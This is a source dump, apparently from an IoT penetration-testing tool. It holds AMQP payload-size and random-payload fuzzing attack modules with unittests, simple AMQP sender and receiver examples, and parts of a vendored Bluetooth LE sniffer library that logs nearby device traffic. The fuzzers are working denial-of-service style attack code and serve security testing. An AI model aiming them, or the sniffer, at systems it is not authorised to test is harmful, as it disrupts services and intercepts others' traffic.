random_strings = "".join([chr(_) for _ in range(65, 91)]) + "".join([chr(_) for _ in range(97, 123)])
random_character = random.choice(random_strings)
sized_payload = random_character * payload_size
self.channel.basic_publish(exchange=self.exchange, routing_key=self.routing_key, body=sized_payload)
# Informative procedures
self.logger.info("Turn {0} is completed".format(fuzzing + 1))
self.sent_message_count += 1
fuzzing += 1
time.sleep(1)
if self.stopped_flag is False:
self.logger.info("Payload size attack is finished.")
class TestCoAPPayloadSizeAttack(unittest.TestCase):
def setUp(self):
self.amqp_payload_size_fuzzer = AMQPPayloadSizeFuzzerAttack()
def tearDown(self):
pass
def test_name(self):
self.assertEqual("AMQP Payload Size Fuzzer Attack", self.amqp_payload_size_fuzzer.get_attack_name())
def test_inputs(self):
inputs = self.amqp_payload_size_fuzzer.get_inputs()
self.assertIsNotNone(inputs)
self.assertGreater(len(inputs), 0, "Non inserted inputs")
self.assertEquals(len(inputs), 7)
def test_non_initialized_inputs(self):
inputs = self.amqp_payload_size_fuzzer.get_inputs()
for _input in inputs:
value = getattr(self.amqp_payload_size_fuzzer, _input.get_name())
self.assertTrue(value is None or type(value) == _input.get_type())
def test_after_getting_inputs(self):
example_inputs = ["localhost", "peniot-queue", "peniot-exchange", "peniot-routing-key", "peniot-body", "direct",
5]
for index, _input in enumerate(example_inputs):
self.amqp_payload_size_fuzzer.inputs[index].set_value(_input)
# Previously it should not be set
self.assertIsNone(self.amqp_payload_size_fuzzer.connection)
super(AMQPPayloadSizeFuzzerAttack, self.amqp_payload_size_fuzzer).run()
inputs = self.amqp_payload_size_fuzzer.get_inputs()
for index, _input in enumerate(inputs):
value = getattr(self.amqp_payload_size_fuzzer, _input.get_name())
self.assertEqual(example_inputs[index], value)
def test_invalid_fuzzing_turn(self):
example_inputs = ["localhost", "peniot-queue", "peniot-exchange", "peniot-routing-key", "peniot-body", "direct",
1]
for index, _input in enumerate(example_inputs):
self.amqp_payload_size_fuzzer.inputs[index].set_value(_input)
super(AMQPPayloadSizeFuzzerAttack, self.amqp_payload_size_fuzzer).run()
try:
self.amqp_payload_size_fuzzer.pre_attack_init()
except AssertionError as e:
self.assertTrue(True)
def test_payload_size_fuzzing_attack(self):
def run_attack():
example_inputs = ["localhost", "peniot-queue", "peniot-exchange", "peniot-routing-key", "peniot-body",
"direct", 3]
for index, _input in enumerate(example_inputs):
self.amqp_payload_size_fuzzer.inputs[index].set_value(_input)
try:
self.amqp_payload_size_fuzzer.run()
except Exception as e:
self.assertTrue(False)
print "* If server is not initialized this test will not execute properly."
p = multiprocessing.Process(target=run_attack, name="DoS Attack")
p.start()
time.sleep(5)
if p.is_alive():
p.terminate()
p.join()
if __name__ == '__main__':
unittest.main()
================================================
FILE: src/protocols/AMQP/attacks/amqp_random_payload_fuzzing.py
================================================
import logging
import multiprocessing
import random
import signal
import time
import unittest
import pika
from Entity.attack import Attack
from Entity.input_format import InputFormat
from Utils.FuzzerUtil import radamsa_util as rdm
class AMQPRandomPayloadFuzzingAttack(Attack):
"""
AMQP Protocol - Random Payload Fuzzing Attack module
"""
# Input Fields
host = "localhost"
queue = "peniot-queue"
exchange = "peniot-exchange"
routing_key = "peniot-routing-key"
payload = None
exchange_type = "direct"
turn = 10
count = 1
# Misc Members
connection = None
channel = None
logger = None
sent_message_count = 0
max_length_of_random_payload = 100
stopped_flag = False
def __init__(self):
default_parameters = ["", "", "", "", "", "", 10, 1]
inputs = [
InputFormat("Host Name", "host", "localhost", str, mandatory=True),
InputFormat("Queue Name", "queue", "peniot-queue", str, mandatory=True),
InputFormat("Exchange Name", "exchange", "peniot-exchange", str, mandatory=True),
InputFormat("Routing Key", "routing_key", "peniot-routing-key", str, mandatory=True),
InputFormat("Payload", "payload", "", str),
InputFormat("Exchange Type", "exchange_type", "direct", str, mandatory=True),
InputFormat("Fuzzing Turn", "turn", 10, int),
InputFormat("Fuzzing Count", "count", 1, int)
]
Attack.__init__(self, "AMQP Random Payload Fuzzing Attack", inputs, default_parameters,
" It creates a random payload and sends \n"
" this payload to the client.")
logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s")
# Signal handler to exit from function
signal.signal(signal.SIGINT, self.signal_handler)
def signal_handler(self, sig, frame):
self.stop_attack()
def stop_attack(self):
self.logger.info("Connection will be closed")
self.stopped_flag = True
if self.connection is not None:
self.connection.close()
time.sleep(2) # Sleep two seconds so the user can see the message
def pre_attack_init(self):
# Get connection and channel
self.connection = pika.BlockingConnection(pika.ConnectionParameters(host=self.host))
self.channel = self.connection.channel()
# Create exchange
self.channel.exchange_declare(exchange=self.exchange, exchange_type=self.exchange_type)
# Define queue to store
self.channel.queue_declare(queue=self.queue)
def run(self):
Attack.run(self)
self.pre_attack_init()
payload = self.payload
if payload is None:
# Create seed with randomly
length = random.randint(1, self.max_length_of_random_payload)
payload = "".join([chr(random.randint(1, 127)) for _ in range(length)])
self.logger.info("Random payload fuzzing is started.")
for fuzzing in range(self.turn):
if self.stopped_flag is True:
break
while True:
try:
returned_strings = rdm.get_ascii_decodable_radamsa_malformed_input(payload, self.count)
if type(returned_strings) == list:
fuzzer_messages = [string.decode("utf-8") for string in returned_strings]
else:
fuzzer_messages = returned_strings.decode("utf-8")
break
except UnicodeDecodeError:
continue
# Check whether result is list or not
if type(fuzzer_messages) == list:
for message in fuzzer_messages:
self.channel.basic_publish(exchange=self.exchange, routing_key=self.routing_key, body=message)
# Increment sent message count
self.sent_message_count += 1
else:
self.channel.basic_publish(exchange=self.exchange, routing_key=self.routing_key, body=fuzzer_messages)
# Increment sent message count
self.sent_message_count += 1
time.sleep(1)
self.logger.info("Turn {0} is completed".format(fuzzing + 1))
if self.stopped_flag is False:
self.logger.info("Random payload fuzzing is finished.")
if self.connection is not None:
self.connection.close()
class TestAMQPRandomPayloadAttack(unittest.TestCase):
def setUp(self):
self.amqp_random_payload_fuzzer = AMQPRandomPayloadFuzzingAttack()
def tearDown(self):
pass
def test_name(self):
self.assertEqual("AMQP Random Payload Fuzzing Attack", self.amqp_random_payload_fuzzer.get_attack_name())
def test_inputs(self):
inputs = self.amqp_random_payload_fuzzer.get_inputs()
self.assertIsNotNone(inputs)
self.assertGreater(len(inputs), 0, "Non inserted inputs")
self.assertEquals(len(inputs), 8)
def test_non_initialized_inputs(self):
inputs = self.amqp_random_payload_fuzzer.get_inputs()
for _input in inputs:
value = getattr(self.amqp_random_payload_fuzzer, _input.get_name())
self.assertTrue(value is None or type(value) == _input.get_type())
def test_after_getting_inputs(self):
example_inputs = ["localhost", "peniot-queue", "peniot-exchange", "peniot-routing-key", "peniot-body", "direct",
13, 12]
for index, _input in enumerate(example_inputs):
self.amqp_random_payload_fuzzer.inputs[index].set_value(_input)
# Previously it should not be set
self.assertIsNone(self.amqp_random_payload_fuzzer.connection)
super(AMQPRandomPayloadFuzzingAttack, self.amqp_random_payload_fuzzer).run()
inputs = self.amqp_random_payload_fuzzer.get_inputs()
for index, _input in enumerate(inputs):
value = getattr(self.amqp_random_payload_fuzzer, _input.get_name())
self.assertEqual(example_inputs[index], value)
def test_invalid_fuzzing_turn(self):
example_inputs = ["localhost", "peniot-queue", "peniot-exchange", "peniot-routing-key", "peniot-body", "direct",
1, 11]
for index, _input in enumerate(example_inputs):
self.amqp_random_payload_fuzzer.inputs[index].set_value(_input)
super(AMQPRandomPayloadFuzzingAttack, self.amqp_random_payload_fuzzer).run()
try:
self.amqp_random_payload_fuzzer.pre_attack_init()
except AssertionError as e:
self.assertTrue(True)
def test_random_payload_fuzzing_attack(self):
def run_attack():
example_inputs = ["localhost", "peniot-queue", "peniot-exchange", "peniot-routing-key", "peniot-body",
"direct", 5, 1]
for index, _input in enumerate(example_inputs):
self.amqp_random_payload_fuzzer.inputs[index].set_value(_input)
try:
self.amqp_random_payload_fuzzer.run()
except Exception as e:
self.assertTrue(False)
print "* If server is not initialized this test will not execute properly."
p = multiprocessing.Process(target=run_attack, name=self.amqp_random_payload_fuzzer.get_attack_name())
p.start()
time.sleep(15)
if p.is_alive():
p.terminate()
p.join()
if __name__ == '__main__':
unittest.main()
================================================
FILE: src/protocols/AMQP/examples/__init__.py
================================================
"""
This package contains the following functionalities:
1) AMQP Sender Example
2) AMQP Receiver Example
"""
================================================
FILE: src/protocols/AMQP/examples/receiver_example.py
================================================
import pika
import argparse
import logging
import signal
import sys
import time
DEFAULT_BROKER_HOST = "localhost"
DEFAULT_QUEUE_NAME = "peniot-queue"
DEFAULT_EXCHANGE = "peniot-exchange"
DEFAULT_ROUTING_KEY = "peniot-routing-key"
DEFAULT_BODY = "peniot-body"
logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s : %(message)s")
logger = logging.getLogger("AMQP Receiver Example")
global_connection = None
"""
AMQP Example Receiver
"""
def signal_handler(sig, frame):
global global_connection
logger.info("Connection will be closed")
if global_connection is not None:
global_connection.close()
sys.exit(0)
def callback(ch, method, properties, body):
logger.info("Received %r" % body)
def receive_procedure(channel_to_receive, queue_name=DEFAULT_QUEUE_NAME):
"""
Sending procedure for AMQP protocol
:param channel_to_receive: Channel means which is created given host name
:param queue_name: Queue from which consume message
:return: None
"""
# Signal handler to exit from function
signal.signal(signal.SIGINT, signal_handler)
# Start consuming
channel_to_receive.basic_consume(callback, queue=queue_name, no_ack=True)
channel_to_receive.start_consuming()
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("-b", "--broker", help="Broker host name or IP address", default=DEFAULT_BROKER_HOST)
parser.add_argument("-q", "--queue", help="Queue name to subscribe", default=DEFAULT_QUEUE_NAME)
parser.add_argument("-e", "--exchange", help="Name of exchange", default=DEFAULT_EXCHANGE)
parser.add_argument("-r", "--routing_key", help="Routing key (endpoint)", default=DEFAULT_ROUTING_KEY)
parser.add_argument("-c", "--content", help="Content of message body", default=DEFAULT_BODY)
args = parser.parse_args()
# Get connection and channel
connection = pika.BlockingConnection(pika.ConnectionParameters(host=args.broker))
global_connection = connection
channel = connection.channel()
channel.queue_bind(queue=args.queue, exchange=args.exchange, routing_key=args.routing_key)
# Start sending procedure
receive_procedure(channel, args.queue)
================================================
FILE: src/protocols/AMQP/examples/sender_example.py
================================================
import pika
import argparse
import logging
import signal
import sys
import time
DEFAULT_BROKER_HOST = "localhost"
DEFAULT_QUEUE_NAME = "peniot-queue"
DEFAULT_EXCHANGE = "peniot-exchange"
DEFAULT_ROUTING_KEY = "peniot-routing-key"
DEFAULT_BODY = "peniot-body"
DEFAULT_EXCHANGE_TYPE = "direct"
logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s : %(message)s")
logger = logging.getLogger("AMQP Sender Example")
global_connection = None
"""
AMQP Example Sender
"""
def signal_handler(sig, frame):
global global_connection
logger.info("Connection will be closed")
if global_connection is not None:
global_connection.close()
sys.exit(0)
def send_procedure(channel_to_send, exchange=DEFAULT_EXCHANGE, routing_key=DEFAULT_ROUTING_KEY, body=DEFAULT_BODY):
"""
Sending procedure for AMQP protocol
:param channel_to_send: Channel means which is created given host name
:param exchange: Name of exchange
:param routing_key: Routing key which is similar to endpoint this context
:param body: Body of messages
:return: None
"""
# Signal handler to exit from function
signal.signal(signal.SIGINT, signal_handler)
publish_content = 0
while True:
channel_to_send.basic_publish(exchange=exchange, routing_key=routing_key, body=body + " " + str(publish_content))
time.sleep(2)
publish_content += 1
logger.info("Message {0} is published".format(publish_content))
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("-b", "--broker", help="Broker host name or IP address", default=DEFAULT_BROKER_HOST)
parser.add_argument("-q", "--queue", help="Queue name to subscribe", default=DEFAULT_QUEUE_NAME)
parser.add_argument("-e", "--exchange", help="Name of exchange", default=DEFAULT_EXCHANGE)
parser.add_argument("-r", "--routing_key", help="Routing key (endpoint)", default=DEFAULT_ROUTING_KEY)
parser.add_argument("-c", "--content", help="Content of message body", default=DEFAULT_BODY)
parser.add_argument("-x", "--exchange_type", help="Type of exchange", default=DEFAULT_EXCHANGE_TYPE)
args = parser.parse_args()
# Get connection and channel
connection = pika.BlockingConnection(pika.ConnectionParameters(host=args.broker))
global_connection = connection
channel = connection.channel()
# Create exchange
channel.exchange_declare(exchange=args.exchange, exchange_type=DEFAULT_EXCHANGE_TYPE)
# Define queue to store
channel.queue_declare(queue=args.queue)
# Start sending procedure
send_procedure(channel, args.exchange, args.routing_key, args.content)
================================================
FILE: src/protocols/BLE/Adafruit_BLESniffer/.gitignore
================================================
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*.pcap
logs/
================================================
FILE: src/protocols/BLE/Adafruit_BLESniffer/API Manifest.txt
================================================
API Manifest.txt
documentation.html
example.py
LICENSE.txt
Nordic Semiconductor Sniffer API Guide.pdf
sniffer_uart_protocol.xlsx
wireshark_dissector_source
packet-btle.c
packet-nordic_ble.c
SnifferAPI
CaptureFiles.py
Devices.py
Exceptions.py
Logger.py
myVersion.py
Notifications.py
Packet.py
Sniffer.py
SnifferCollector.py
UART.py
Version.py
__init__.py
================================================
FILE: src/protocols/BLE/Adafruit_BLESniffer/LICENSE.txt
================================================
All files in this package is released under the license below, except the
Wireshark dissector source files packet-nordic_ble.c and packet-btle.c.
The Wireshark dissector source files are released under the
GNU General Public License as published by the Free Software Foundation;
either version 2 of the License, or (at your option) any later version.
=
Copyright (c) 2014, Nordic Semiconductor ASA
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: src/protocols/BLE/Adafruit_BLESniffer/README.md
================================================
# Python API for Bluefruit LE Sniffer
This repository contains the Python API for Adafruit's Bluefruit LE Sniffer, and our easy to use API wrapper.
It has been tested on the following platforms using Python 2.7:
- OSX 10.10
- Windows 7 x64
- Ubuntu 14.04
## Related Links
Bluefruit LE Sniffer product page: https://www.adafruit.com/product/2269
Bluefruit LE Sniffer Learning Guide: https://learn.adafruit.com/introducing-the-adafruit-bluefruit-le-sniffer/introduction
# Sniffer Python Wrapper
Running sniffer.py in this folder on the Bluefruit LE Friend Sniffer Edition board will cause the device to scan for Bluetooth LE devices in range, and log any data from the selected device to a libpcap file (in `logs/capture.pcap`) that can be opened in Wireshark.
The current example does not enable live streaming of data directly into Wireshark via named pipes since this would require a pre-compiled utility for each platform, but it should be possible to implement this on your platform if required.
## Using sniffer.py
To use sniffer.py, simply specify the serial port where the sniffer can be found (ex. `COM14` on Windows, `/dev/tty.usbmodem1412311` on OS X, `/dev/ttyACM0` or Linux, etc.):
```
python sniffer.py /dev/tty.usbmodem1412311
```
**Note:** You will need to run python with `sudo` on Linux to allow the log file to be created, so `sudo python sniffer.py /dev/ttyACM0`, etc..
This will create a new log file and start scanning for BLE devices, which should result in the following menu:
```
$ python sniffer.py /dev/tty.usbmodem1412311
Logging data to logs/capture.pcap
Connecting to sniffer on /dev/tty.usbmodem1412311
Scanning for BLE devices (5s) ...
Found 2 BLE devices:
[1] "" (14:99:E2:05:29:CF, RSSI = -85)
[2] "" (E7:0C:E1:BE:87:66, RSSI = -49)
Select a device to sniff, or '0' to scan again
>
```
Simply select the device you wish to sniff, and it will start logging traffic from the specified device.
Type **CTRL+C** to stop sniffing and quit the application, closing the libpcap log file.
**NOTE:** You may need to remove the sniffer and re-insert it before starting a new session if you see any unusual error messages running sniffer.py.
## Requirements
This Python script was written and tested on **Python 2.7.6**, and will require that both Python 2.7 and **pySerial** are installed on your system.
================================================
FILE: src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/CaptureFiles.py
================================================
from __future__ import absolute_import
import time
import os
import logging
from . import Logger
LINKTYPE_BLUETOOTH_LE_LL = 251
LINKTYPE_NORDIC_BLE = 157
MAGIC_NUMBER = 0xa1b2c3d4
VERSION_MAJOR = 2
VERSION_MINOR = 4
THISZONE = 0
SIGFIGS = 0
SNAPLEN = 0xFFFF
NETWORK = LINKTYPE_NORDIC_BLE
globalHeaderString = [
((MAGIC_NUMBER >> 0) & 0xFF),
((MAGIC_NUMBER >> 8) & 0xFF),
((MAGIC_NUMBER >> 16) & 0xFF),
((MAGIC_NUMBER >> 24) & 0xFF),
((VERSION_MAJOR >> 0) & 0xFF),
((VERSION_MAJOR >> 8) & 0xFF),
((VERSION_MINOR >> 0) & 0xFF),
((VERSION_MINOR >> 8) & 0xFF),
((THISZONE >> 0) & 0xFF),
((THISZONE >> 8) & 0xFF),
((THISZONE >> 16) & 0xFF),
((THISZONE >> 24) & 0xFF),
((SIGFIGS >> 0) & 0xFF),
((SIGFIGS >> 8) & 0xFF),
((SIGFIGS >> 16) & 0xFF),
((SIGFIGS >> 24) & 0xFF),
((SNAPLEN >> 0) & 0xFF),
((SNAPLEN >> 8) & 0xFF),
((SNAPLEN >> 16) & 0xFF),
((SNAPLEN >> 24) & 0xFF),
((NETWORK >> 0) & 0xFF),
((NETWORK >> 8) & 0xFF),
((NETWORK >> 16) & 0xFF),
((NETWORK >> 24) & 0xFF)
]
captureFilePath = os.path.join(Logger.logFilePath, "capture.pcap")
class CaptureFileHandler:
def __init__(self, clear=False):
self.filename = captureFilePath
self.backupFilename = self.filename+".1"
if not os.path.isfile(self.filename):
self.startNewFile()
elif os.path.getsize(self.filename) > 20000000:
self.doRollover()
if clear:
# clear file
self.startNewFile()
def startNewFile(self):
with open(self.filename, "wb") as f:
f.write(bytearray(globalHeaderString))
def doRollover(self):
try:
os.remove(self.backupFilename)
except: # noqa: E722
logging.exception("capture file rollover remove backup failed")
try:
os.rename(self.filename, self.backupFilename)
self.startNewFile()
except: # noqa: E722
logging.exception("capture file rollover failed")
def readLine(self, lineNum):
line = ""
with open(self.filename, "r") as f:
f.seek(lineNum)
line = f.readline()
return line
def readAll(self):
text = ""
with open(self.filename, "r") as f:
text = f.read()
return text
def writeString(self, msgString):
with open(self.filename, "ab") as f:
f.write(msgString)
def writeList(self, msgList):
self.writeString(bytearray(msgList))
def writePacketList(self, packetList):
self.writeList(self.makePacketHeader(len(packetList)) + packetList)
def writePacket(self, packet):
self.writePacketList([packet.boardId] + packet.getList())
def makePacketHeader(self, length):
timeNow = time.time()
TS_SEC = int(timeNow)
TS_USEC = int((timeNow-TS_SEC)*1000000)
INCL_LENGTH = length
ORIG_LENGTH = length
headerString = [
((TS_SEC >> 0) & 0xFF),
((TS_SEC >> 8) & 0xFF),
((TS_SEC >> 16) & 0xFF),
((TS_SEC >> 24) & 0xFF),
((TS_USEC >> 0) & 0xFF),
((TS_USEC >> 8) & 0xFF),
((TS_USEC >> 16) & 0xFF),
((TS_USEC >> 24) & 0xFF),
((INCL_LENGTH >> 0) & 0xFF),
((INCL_LENGTH >> 8) & 0xFF),
((INCL_LENGTH >> 16) & 0xFF),
((INCL_LENGTH >> 24) & 0xFF),
((ORIG_LENGTH >> 0) & 0xFF),
((ORIG_LENGTH >> 8) & 0xFF),
((ORIG_LENGTH >> 16) & 0xFF),
((ORIG_LENGTH >> 24) & 0xFF)
]
return headerString
def toList(myString):
myList = []
for c in myString:
myList += [ord(c)]
return myList
================================================
FILE: src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/Devices.py
================================================
from __future__ import absolute_import
from . import Notifications
import logging
class DeviceList(Notifications.Notifier):
def __init__(self, *args, **kwargs):
Notifications.Notifier.__init__(self, *args, **kwargs)
logging.info("args: " + str(args))
logging.info("kwargs: " + str(kwargs))
self.devices = []
def __len__(self):
return len(self.devices)
def __repr__(self):
return "Sniffer Device List: "+str(self.asList())
def clear(self):
self.devices = []
def appendOrUpdate(self, newDevice):
existingDevice = self.find(newDevice)
# logging.info("appendOrUpdate")
# Add device to the list of devices being displayed, but only if CRC is OK
if existingDevice is None:
self.append(newDevice)
else:
updated = False
if (newDevice.name != "") and (existingDevice.name == ""):
existingDevice.name = newDevice.name
updated = True
if (newDevice.RSSI < (newDevice.RSSI - 5)) or (existingDevice.RSSI > (newDevice.RSSI+2)): # noqa: E501
existingDevice.RSSI = newDevice.RSSI
updated = True
if updated:
self.notify("DEVICE_UPDATED", existingDevice)
# self.updateDeviceDisplay()
def append(self, device):
self.devices.append(device)
self.notify("DEVICE_ADDED", device)
def find(self, id):
# logging.info("find type: %s" % str(id.__class__.__name__))
if type(id) == list:
for dev in self.devices:
if dev.address == id:
return dev
elif type(id) == int:
return self.devices[id]
elif type(id) == str:
for dev in self.devices:
if dev.name in [id, '"'+id+'"']:
return dev
elif id.__class__.__name__ == "Device":
# logging.info("find Device")
return self.find(id.address)
return None
def remove(self, id):
if type(id) == list: # address
device = self.devices.pop(self.devices.index(self.find(id)))
elif type(id) == int:
device = self.devices.pop(id)
elif type(id) == Device:
device = self.devices.pop(self.devices.index(self.find(id.address)))
self.notify("DEVICE_REMOVED", device)
# self.updateDeviceDisplay()
# def getSelected(self):
# for dev in self.devices:
# if dev.selected:
# return dev
# if len(self.devices) == 1:
# self.devices[0].selected = True
# else:
# return None
def index(self, device):
index = 0
for dev in self.devices:
if dev.address == device.address:
return index
index += 1
return None
# def setSelected(self, device):
# if device in self.devices:
# for dev in self.devices:
# dev.selected = False
# device.selected = True
# self.notify("DEVICE_SELECTED", device)
def setFollowed(self, device):
if device in self.devices:
for dev in self.devices:
dev.followed = False
device.followed = True
self.notify("DEVICE_FOLLOWED", device)
# def incrementSelected(self, step = 1):
# if len(self.devices) > 0:
# self.setSelected(self.find((self.index(self.getSelected())+step)%len(self.devices)))
def asList(self):
return self.devices[:]
class Device:
def __init__(self, address, name, RSSI, txAdd=1):
self.address = address
self.txAdd = txAdd
self.name = name
self.RSSI = RSSI
# self.selected = selected
self.followed = False
================================================
FILE: src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/Exceptions.py
================================================
class SnifferTimeout(Exception):
pass
class UARTPacketError(Exception):
pass
class InvalidPacketException(Exception):
pass
# Internal Use
class SnifferWatchDogTimeout(SnifferTimeout):
pass
# Internal Use
class ExitCodeException(Exception):
pass
================================================
FILE: src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/Logger.py
================================================
from __future__ import absolute_import
from __future__ import print_function
import time
import os
import logging
import traceback
import threading
import logging.handlers as logHandlers
from six.moves import range
#################################################################
# This file contains the logger. To log a line, simply write #
# 'logging.[level]("whatever you want to log")' #
# [level] is one of {info, debug, warning, error, critical, #
# exception} #
# See python logging documentation #
# As long as Logger.initLogger has been called beforehand, this #
# will result in the line being appended to the log file #
#################################################################
try:
logFilePath = os.path.join(
os.getenv('appdata'), 'Nordic Semiconductor', 'Sniffer', 'logs')
except AttributeError:
logFilePath = "logs"
logFileName = os.path.join(logFilePath, 'log.txt')
logHandler = None
logFlusher = None
myMaxBytes = 1000000
# Ensure that the directory we are writing the log file to exists.
# Create our logfile, and write the timestamp in the first line.
def initLogger():
try:
# First, make sure that the directory exists
if not os.path.isdir(logFilePath):
os.makedirs(logFilePath)
# If the file does not exist, create it, and save the timestamp
if not os.path.isfile(logFileName):
with open(logFileName, "wb") as f:
f.write('{0}{1}'.format(time.time(), os.linesep).encode())
global logHandler
global logFlusher
logHandler = MyRotatingFileHandler(
logFileName, mode='a', maxBytes=myMaxBytes, backupCount=3)
logFormatter = logging.Formatter(
'%(asctime)s %(levelname)s: %(message)s', datefmt='%d-%b-%Y %H:%M:%S (%z)')
logHandler.setFormatter(logFormatter)
logger = logging.getLogger()
logger.addHandler(logHandler)
logger.setLevel(logging.INFO)
logFlusher = LogFlusher(logHandler)
except: # noqa: 722
print("LOGGING FAILED")
print(traceback.format_exc())
raise
def shutdownLogger():
logging.shutdown()
# Clear the log (typically after it has been sent on email)
def clearLog():
try:
logHandler.doRollover()
except: # noqa: 722
print("LOGGING FAILED")
raise
# Returns the timestamp residing on the first line of the logfile.
# Used for checking the time of creation
def getTimestamp():
try:
with open(logFileName, "r") as f:
f.seek(0)
return f.readline()
except: # noqa: 722
print("LOGGING FAILED")
def addTimestamp():
try:
with open(logFileName, "a") as f:
f.write(str(time.time()) + os.linesep)
except: # noqa: 722
print("LOGGING FAILED")
# Returns the entire content of the logfile. Used when sending emails
def readAll():
try:
text = ""
with open(logFileName, "r") as f:
text = f.read()
return text
except: # noqa: 722
print("LOGGING FAILED")
class MyRotatingFileHandler(logHandlers.RotatingFileHandler):
def doRollover(self):
try:
logHandlers.RotatingFileHandler.doRollover(self)
addTimestamp()
self.maxBytes = myMaxBytes
except: # noqa: 722
# There have been permissions issues with the log files.
self.maxBytes += int(myMaxBytes/2)
# logging.exception("log rollover error")
class LogFlusher(threading.Thread):
def __init__(self, logHandler):
threading.Thread.__init__(self)
self.daemon = True
self.handler = logHandler
self.exit = False
self.start()
def run(self):
while not self.exit:
time.sleep(10)
self.doFlush()
def doFlush(self):
self.handler.flush()
os.fsync(self.handler.stream.fileno())
def stop(self):
self.exit = True
if __name__ == '__main__':
initLogger()
for i in range(50):
logging.info("test log no. "+str(i))
print("test log no. ", i)
================================================
FILE: src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/Notifications.py
================================================
from __future__ import absolute_import
import threading
class Notification():
def __init__(self, key, msg=None):
if type(key) is not str:
raise TypeError("Invalid notification key: "+str(key))
self.key = key
self.msg = msg
def __repr__(self):
return "Notification (key: %s, msg: %s)" % (str(self.key), str(self.msg))
class Notifier():
def __init__(self, callbacks=[]):
self.callbacks = {}
self.callbackLock = threading.RLock()
# logging.info("callbacks: "+ str(callbacks))
for callback in callbacks:
self.subscribe(*callback)
# logging.info(self.callbacks)
def subscribe(self, key, callback):
with self.callbackLock:
if callback not in self.getCallbacks(key):
self.getCallbacks(key).append(callback)
def getCallbacks(self, key):
with self.callbackLock:
# logging.info(self.callbacks)
if key not in self.callbacks:
self.callbacks[key] = []
return self.callbacks[key]
def notify(self, key=None, msg=None, notification=None):
# logging.info(self.callbacks)
with self.callbackLock:
if notification is None:
notification = Notification(key, msg)
for callback in self.getCallbacks(notification.key):
callback(notification)
for callback in self.getCallbacks("*"):
callback(notification)
# logging.info("sending notification: %s" % str(notification))
def passOnNotification(self, notification):
self.notify(notification=notification)
================================================
FILE: src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/Packet.py
================================================
from __future__ import absolute_import
from . import UART, Exceptions, Notifications
import time
import logging
import os
import sys
import serial
from six.moves import range
SLIP_START = 0xAB
SLIP_END = 0xBC
SLIP_ESC = 0xCD
SLIP_ESC_START = SLIP_START+1
SLIP_ESC_END = SLIP_END+1
SLIP_ESC_ESC = SLIP_ESC+1
REQ_FOLLOW = 0x00
RESP_FOLLOW = 0x01
EVENT_DEVICE = 0x02
REQ_SINGLE_PACKET = 0x03
RESP_SINGLE_PACKET = 0x04
EVENT_CONNECT = 0x05
EVENT_PACKET = 0x06
REQ_SCAN_CONT = 0x07
RESP_SCAN_CONT = 0x08
EVENT_DISCONNECT = 0x09
EVENT_ERROR = 0x0A
EVENT_EMPTY_DATA_PACKET = 0x0B
SET_TEMPORARY_KEY = 0x0C
PING_REQ = 0x0D
PING_RESP = 0x0E
TEST_COMMAND_ID = 0x0F
TEST_RESULT_ID = 0x10
UART_TEST_START = 0x11
UART_DUMMY_PACKET = 0x12
SWITCH_BAUD_RATE_REQ = 0x13
SWITCH_BAUD_RATE_RESP = 0x14
UART_OUT_START = 0x15
UART_OUT_STOP = 0x16
SET_ADV_CHANNEL_HOP_SEQ = 0x17
GO_IDLE = 0xFE
ADV_ACCESS_ADDRESS = [0xD6, 0xBE, 0x89, 0x8E]
SYNCWORD_POS = 0
HEADER_LEN_POS = 0
PAYLOAD_LEN_POS = HEADER_LEN_POS+1
PROTOVER_POS = PAYLOAD_LEN_POS+1
PACKETCOUNTER_POS = PROTOVER_POS+1
ID_POS = PACKETCOUNTER_POS+2
BLE_HEADER_LEN_POS = ID_POS+1
FLAGS_POS = BLE_HEADER_LEN_POS+1
CHANNEL_POS = FLAGS_POS+1
RSSI_POS = CHANNEL_POS+1
EVENTCOUNTER_POS = RSSI_POS+1
TIMESTAMP_POS = EVENTCOUNTER_POS+2
BLEPACKET_POS = TIMESTAMP_POS+4
TXADD_POS = BLEPACKET_POS + 4
TXADD_MSK = 0x40
PAYLOAD_POS = BLE_HEADER_LEN_POS
HEADER_LENGTH = 6
BLE_HEADER_LENGTH = 10
PROTOVER = 1
ADV_TYPE_ADV_IND = 0x0
ADV_TYPE_ADV_DIRECT_IND = 0x1
ADV_TYPE_ADV_NONCONN_IND = 0x2
ADV_TYPE_ADV_DISCOVER_IND = 0x6
ADV_TYPE_SCAN_REQ = 0x3
ADV_TYPE_SCAN_RSP = 0x4
ADV_TYPE_CONNECT_REQ = 0x5
VALID_ADV_CHANS = [37, 38, 39]
class PacketReader(Notifications.Notifier):
def __init__(self, portnum=None, callbacks=[]):
Notifications.Notifier.__init__(self, callbacks)
self.portnum = portnum
self.exit = False
try:
self.uart = UART.Uart(portnum)
except serial.SerialException as e:
logging.exception("Error opening UART.")
self.uart = UART.Uart()
self.packetCounter = 0
self.lastReceivedPacketCounter = 0
